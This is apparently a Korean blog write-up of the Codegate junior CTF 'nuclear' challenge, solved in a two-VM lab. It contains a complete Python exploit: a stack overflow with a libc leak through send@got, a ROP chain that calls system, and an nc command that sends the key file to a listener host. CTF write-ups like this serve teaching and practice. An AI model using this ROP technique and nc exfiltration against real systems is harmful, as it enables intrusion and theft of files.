본문 바로가기

시스템

codegate junior nuclear

shellstorm 에 바이너리 있음.



start_routine 부분에 recv를 1298 이나 해버려서 bof가 일어난다.


payload.py






페이로드가 쓸데없이 길다. 함수를 이용해 세분화 시키려고 했는데 그것때문에 더 길어진 것 같다.



원래 /bin/sh 를 실행하고 cat /key 명령어를 실행하려고 했으나, 소켓 연결 후 /bin/sh 명령어가 system 함수의 인자로 전달되지 않고 자꾸 소켓 연결 에러가 뜨길래 nc를 이용해 

reverse 형식으로 키값 전달을 실행했다.


=====> 원래, dynamic 섹션을 costom_stack 의 주소로 썼는데, 다른 섹션인 data 을 이용하니 잘되더라.

(결국 페이로드에 문제가 있던 것이었다.)



user@user-virtual-machine:~$ nc -l -p 1234

BUG_BOUNTIES_b3COM3_GrEAT





-----------------
로컬로 풀면 아무래도 실제 문제풀이 상황과 다를수도 있다고 생각하여,

문제서버를 하나 만들고 (Ubuntu 14.10)
풀이서버를 또하나 만들어서 (Ubuntu 14.10)
풀이를 해보았다.

from socket import *
from struct import *

p=lambda x:pack("<L",x)
up=lambda x:unpack("<L",x)[0]


custom_stack = 0x0804b080 # .data section
vuln_func = 0x08048B5B # start_routine function
sendplt = 0x08048900
sendgot = 0x0804b07c
recvplt = 0x080488e0
ppppr = 0x0804917c
send_system_offset=0xe90  # system-send=offset
# system = offset + send
pr=ppppr+3
cmd="nc 192.168.0.36 1234 < /home/user/pwnable/nuclear/key"

# char buf; // [sp+1Ch] [bp-20Ch]@1
vuln_func_dummy="\x90"*(0x20C+4)

# 0x238 - 0x30 == 0x208 == 520
# for erase null byte
passcode_leak_dummy="\x90"*520



def start_socket():
s=socket(AF_INET,SOCK_STREAM)
s.connect(("192.168.0.31",1129))
s.recv(1024) # :: Welcome to the Nuclear Control System ::
s.recv(1024) # >
return s

def stop_socket(s):
s.close()

def set_target(s):
s.send("target\n")
s.recv(1024) # [+] Enter coordinate of target, (Latitude/Longitude)
s.send("0.1/0.1\n")
s.recv(1024) # [+] Target coordinate setting completed.
s.recv(1024) # >

def leak_passcode(s):
payload=""
payload+=passcode_leak_dummy
s.send(payload+"\n")
passcode = s.recv(1024)[542:566]
print "passcode : " + passcode
s.recv(1024) # Unknown command ~~ + >
return passcode

def start_routine(passcode,s):
s.send("launch\n")
s.recv(1024)
s.send(str(passcode)+"\n")
s.recv(1024)
s.recv(1024) # <-- start countdown...


def leak_systemaddr(s):
s.recv(1024)
payload=""
payload+=vuln_func_dummy
# send(0x04,send@got,0x04,0)
payload+=p(sendplt)
payload+=p(ppppr)
payload+=p(0x04)
payload+=p(sendgot)
payload+=p(0x04)
payload+=p(0x00)

# vuln_func(0x04)
payload+=p(vuln_func)
payload+=p(0xdeadbeef)
payload+=p(0x04)

s.send(payload + "\n")
s.recv(1024)
sendaddr=up(s.recv(1024))
systemaddr=sendaddr+send_system_offset
print "system@libc : " + str(hex(systemaddr))
return systemaddr


def exploit(systemaddr,s):
payload=""
payload+=vuln_func_dummy
# recv(0x04,custom_stack,0xff,0x00)
payload+=p(recvplt)
payload+=p(ppppr)
payload+=p(0x04)
payload+=p(custom_stack)
payload+=p(0xff)
payload+=p(0x00)

# system(&cmd)
payload+=p(systemaddr)
payload+=p(0xdeadbeef)
payload+=p(custom_stack)

s.send(payload+"\n")
print s.recv(1024)
s.send(cmd+"\n")
print s.recv(1024)






sock=start_socket()

set_target(sock)
passcode = leak_passcode(sock)
start_routine(passcode,sock)

systemaddr=leak_systemaddr(sock)

exploit(systemaddr,sock)


stop_socket(sock)


결과 :

user@ubuntu:~/pwnable/nuclear$ nc -l -p 1234
BUG_BOUNTIES_b3COM3_GrEAT









'시스템' 카테고리의 다른 글

Modern browser analysis and exploit development  (0) 2016.12.27
파일 디스크립터  (0) 2015.04.10
ROPasaurusrex  (0) 2015.04.09
Linux 환경에서의 메모리 보호 기법  (0) 2015.04.06